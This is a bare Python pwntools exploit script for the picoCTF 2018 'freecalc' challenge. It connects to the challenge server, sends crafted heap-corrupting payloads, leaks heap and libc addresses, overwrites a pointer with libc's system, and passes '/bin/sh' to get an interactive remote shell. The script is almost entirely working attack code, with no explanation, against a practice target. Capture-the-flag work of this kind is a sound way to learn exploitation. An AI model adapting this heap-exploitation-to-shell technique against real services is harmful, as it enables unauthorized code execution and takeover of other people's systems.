pico 2018 freecalc

from pwn import *

libc = ELF('./libc.so.6')
#r = process('./calc')
r = remote('2018shell3.picoctf.com', 54291)

f = ['a', 'b', 'c', 'd', 'e']
pay = [': {} 7 + + + + + + + '.format(c) for c in f]
r.sendlineafter('>> ', ''.join(pay))
r.sendlineafter('>> ', ': f 7 + + + + + + +'.rjust(0x6f, ' '))
pay = ': a 8 + + + + + + + + '
pay += 'f'
pay = pay.ljust(0x20, '\x00')
pay += p64(7) + p64(0x601b80)
pay += p64(6) + p64(0x601c88)
pay += p64(6) + p64(0x601c90)
pay += p64(7) + p64(0x601c88)
pay += p64(5)
r.sendlineafter('>> ', pay)

r.recvuntil('Running ')
r.recvuntil('Running ')
heap = u64(r.recvline()[:-1].ljust(8, '\x00'))
heap_base = heap - 0x470
print hex(heap_base)
r.recvuntil('Running ')
libc.address = u64(r.recvline()[:-1].ljust(8, '\x00')) - libc.symbols['free']
print hex(libc.address)

pay = '/bin/sh; f '.ljust(16, '\x00')
pay += p64(5) + p64(heap_base+0x450)
pay += p64(heap_base + 0x50) + p64(1)
pay += p64(7) + p64(heap_base+0x28)
pay += p64(libc.symbols['system']) + p64(0)
pay += p64(5) + p64(0)
pay += p64(5)
r.sendlineafter('>> ', pay)

r.interactive()